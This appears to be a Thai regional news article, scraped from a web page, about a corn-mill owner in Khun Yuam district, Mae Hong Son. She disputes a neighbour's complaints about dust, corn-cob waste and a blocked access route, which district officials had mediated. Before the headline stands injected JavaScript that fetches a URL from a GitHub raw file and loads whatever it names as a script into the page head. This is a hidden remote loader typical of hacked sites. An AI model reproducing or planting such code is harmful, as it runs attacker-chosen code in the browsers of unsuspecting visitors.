;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); แม่ฮ่องสอน เจ้าของโรงโม่ข้าวโพดยืนยันไม่ปิดเส้นทาง ย้ำมีมนุษยธรรมพอ - ThaiReference | อาสาไทยยืนยัน
แม่ฮ่องสอน เจ้าของโรงโม่ข้าวโพดยืนยันไม่ปิดเส้นทาง ย้ำมีมนุษยธรรมพอ

นายณรงค์พัชญ์ นาคทรัพย์ นายอำเภอขุนยวม จังหวัดแม่ฮ่องสอน ได้สั่งการให้นายมารุต ปัญญาบุญ ปลัดอำเภอกลุ่มงานความมั่นคง นายเถลิงศักดิ์ ที่รัก เจ้าหน้าที่ฝ่ายปกครอง จ่ากองร้อยฯ และชุดปฏิบัติการพิเศษฝ่ายปกครอง พร้อมด้วยกำนันตำบลเมืองปอน เจ้าหน้าที่หน่วยป้องกันรักษาป่า ที่ มส.3 ร่วมกันเดินทางไปเจรจาตามข้อร้องเรียนจากผลกระทบของสถานประกอบการโรงโม่ข้าวโพด ของนางรจินา สุขอัมพร บริเวณป่าข้างทางติดถนนทางหลวงหมายเลข 108 ท้ายหมู่บ้านบ้านเมืองปอน ตำบลเมืองปอน อำเภอขุนยวม จังหวัดแม่ฮ่องสอน กรณีมีคนร้องเรียนว่าการดำเนินการก่อความเดือดร้อนกับพื้นที่การเกษตรของชาวบ้านบริเวณข้างเคียง

โดยผลการเจรจาสรุปว่า ผู้ประกอบการโรงโม่ข้าวโพด ยินยอมเปิดทางให้กับชาวบ้านที่มีที่ดินติดกับโรงโม่ข้าวโพด เข้า –ออก ในพื้นที่ของตนเองได้  ยินยอมตกลงจะเก็บซังข้าวโพดที่ลุกล้ำเข้าไปในเขตพื้นที่การเกษตรของบุคคลอื่นให้เรียบร้อย หลังฤดูเก็บเกี่ยวข้าวโพด (ภายในเดือนมกราคม 2568) รวมถึง กรณีฝุ่นละอองที่เกิดจากการโม่ข้าวโพด แล้วปลิวไปตกยังพื้นที่การเกษตรข้างเคียงนั้นผู้ประกอบการแจ้งว่า จะดำเนินการกั้นสแลนให้สูงกว่าเดิม 2 เมตร เป็น 6 เมตร รอบโรงโม่ข้าวโพด และในฤดูกาลหน้า ปี 2569 จะย้ายโรงโม่ข้าวโพดไปยังพื้นที่อื่น เพื่อลดปัญหากับพื้นที่ข้างเคียง รวมถึงผู้ประกอบการให้ความร่วมมือกับเจ้าหน้าที่ของรัฐ เป็นอย่างดี และยินดีปฏิบัติตามข้อร้องเรียนทุกประการ เพื่อมิให้เกิดการกระทบกับพื้นที่ใกล้เคียงให้น้อยที่สุด พร้อมกับรายงานไปยังศูนย์อำนวยการป้องกันและแก้ไขปัญหาไฟป่าและหมอกควันจังหวัดแล้วนั้น

ล่าสุดภายหลังการนำเสนอข่าวไปแล้ว ปรากฏว่านางรจินา สุขอัมพร พร้อมครอบครัวที่ดำเนินการโรงโม่ข้าวโพดและรับซื้อผลผลิตทางการเกษตรในพื้นที่ตำบลเมืองปอนและใกล้เคียง ได้ขอความเป็นธรรมและขอชี้แจงข้อเท็จจริงที่เกิดขึ้น ว่าตนเองพร้อมสามีได้มาซื้อที่ดินบริเวณดังกล่าวในเนื้อที่กว่า 2 ไร่และมีโฉนดแสดงกรรมสิทธิ์ในที่ดินอย่างถูกต้องตามกฎหมาย ซึ่งเป็นพื้นที่ที่ตั้งอยู่ท้ายหมู่บ้าน ไม่ติดกับชุมชนและโดยรอบเป็นพื้นที่การเกษตรทั้งหมด โดยไม่มีบ้านเรือนของผู้คนอาศัยอยู่แต่อย่างใด นอกจากนี้ถนนด้านข้างที่อยู่ในที่ดินของตนเองก็ได้ให้ชาวบ้านหรือเกษตรกรข้างเคียงผ่านเข้าออกตามปกติ ปัญหาที่เกิดการร้องเรียนขึ้น จนเจ้าหน้าต้องออกมาตรวจสอบนั้น ตนเองเชื่อว่าจะมาจากเจ้าของที่ดินข้างเคียงเพียงรายเดียว(ขอสงวนนาม) ที่พยายามกดดันครอบครัวตนเองมาตลอด ทั้งขอใช้ไฟฟ้าที่ตนเองต้องลงทุนขยายเขตไฟฟ้าเข้ามาใช้ในกิจการ หมดงบประมาณในการดำเนินการไปกว่า 300,000 บาท นอกจากนี้ยังพยายามหาทางมาขอที่ดินของตนเองเพื่อจะทำเส้นทางเข้า-ออกใหม่ ทั้งๆ ที่ก็มีเส้นทางเข้าออกเดิมอยู่แล้ว แต่ก็ไม่เคยเข้ามาพูดคุยกับทางครอบครัวของตนเองเลย จึงหาเหตุทำเรื่องร้องเรียน โดยอ้างว่าเป็นการรับโม่ข้าวโพดแล้วมีผลกระทบด้านฝุ่นละอองกับพื้นที่ข้างเคียง จนเจ้าหน้าที่ต้องออกมาตรวจสอบและทำความเข้าใจ

แต่หลังมีรายงานการตรวจสอบออกไป กลับมีผลกระทบกับตนเองที่ถูกมองว่าเป็นคนแล้งน้ำใจ ทั้งๆ ที่คนที่อยู่ข้างเคียงรายอื่นๆนั้นก็ไม่ได้รับผลกระทบอะไรทั้งสิ้น รวมถึงจุดที่มีเศษซังข้าวโพดหลังการโม่ล้นออกไปด้านท้ายของโรงโม่นั้น ก็ได้ทำข้อตกลงกับเกษตรกรรายดังกล่าวไว้หมดแล้ว ว่าหลังเสร็จสิ้นการโม่ในฤดูกาลนี้ก็จะดำเนินการเคลียร์พื้นที่ให้ทั้งหมด เนื่องจากทางเราเองก็มีระบบบริหารจัดการกับเศษซังข้าวโพดที่เหลือด้วยกระบวนการที่เป็นมิตรกับสภาพแวดล้อมจนเป็นที่ยอมรับกับทางอำเภอขุนยวม ไม่มีการเผาแต่อย่างใดและส่วนมากจะมีชาวบ้านหรือชาวสวนมาขอไปทำเป็นปุ๋ยจนหมดอยู่แล้ว ที่สำคัญระหว่างฤดูกาลที่เปิดโม่ข้าวโพดนี้จะไม่ตรงกับช่วงของการปลูกพืชอื่นๆ ทั้งกระเทียมหรือผักสวนครัวอื่นแต่อย่างใด หรือหากมีก็พร้อมจะพูดคุยแก้ไขปัญหาร่วมกันเสมอ ภายใต้การอยู่ร่วมกันอย่างเป็นมิตร ในส่วนของเส้นทางการเข้า-ออกที่บอกว่าเป็นปัญหานั้น ที่จริงเป็นเส้นทางที่อยู่ในที่ดินของตนเอง จะเปิดหรือไม่เปิดให้เข้าก็ได้ แต่ด้วยความเห็นใจและมีมนุษยธรรมพอ ก็เปิดรั้วให้ผ่านเข้าออกกับเพื่อนบ้านข้างเคียงที่อาศัยพึ่งพากัน ไม่ได้ปิดกั้นแต่อย่างใด เพราะฉะนั้นปัญหาที่เกิดขึ้นน่าจะมาจากคนที่ไม่พอใจแค่รายเดียว ที่พยายามหาเรื่องร้องเรียนมาโดยตลอด จึงอยากให้ทุกฝ่ายเข้าใจถึงข้อทเจจริงหรือเจตนาของทางครอบครัวเราด้วย นางรจินากล่าวในที่สุด

นอกจากนี้ทางทีมงานข่าวที่ลงพื้นที่ได้เดินสำรวจจุดที่อ้างว่ามีปัญหาทุกจุด พร้อมนำโดรนขึ้นบินสำรวจถ่ายภาพมุมสูงด้วย ก็พบว่าพื้นที่ของโรงโม่ข้าวโพดนั้นล้อมรอบด้วยแปลงเพาะปลูกของเกษตรกร ไม่มีบ้านเรือนของผู้คนอยู่ข้างเคียงแต่อย่างใด ตั้งอยู่ห่างจากหมู่บ้านเมืองปอนออกไปกว่า 1 กิโลเมตร ที่จะเพียงห้างนาหรือเพิงพักชั่วคราวสำหรับเฝ้าพืชผลทางการเกษตรเพียงในบางฤดูกาลเท่านั้น ซึ่งทางโรงโม่เองก็อนุญาตให้เจ้าของที่ต่อไฟฟ้าไปใช้และชาวบ้านในแปลงเกษตรที่อยู่ติดกันก็ยินยอมให้เจ้าของโรงโม่ขุดเจาะน้ำบาดาลขึ้นมาเพื่อใช้อุปโภค-บริโภคหรือนำมาสำรองไว้ป้องกันเรื่องไฟไหม้อีกทางหนึ่งเช่นกัน

วิรัตน์ นันทะพรพิบูลย์ จ.แม่ฮ่องสอน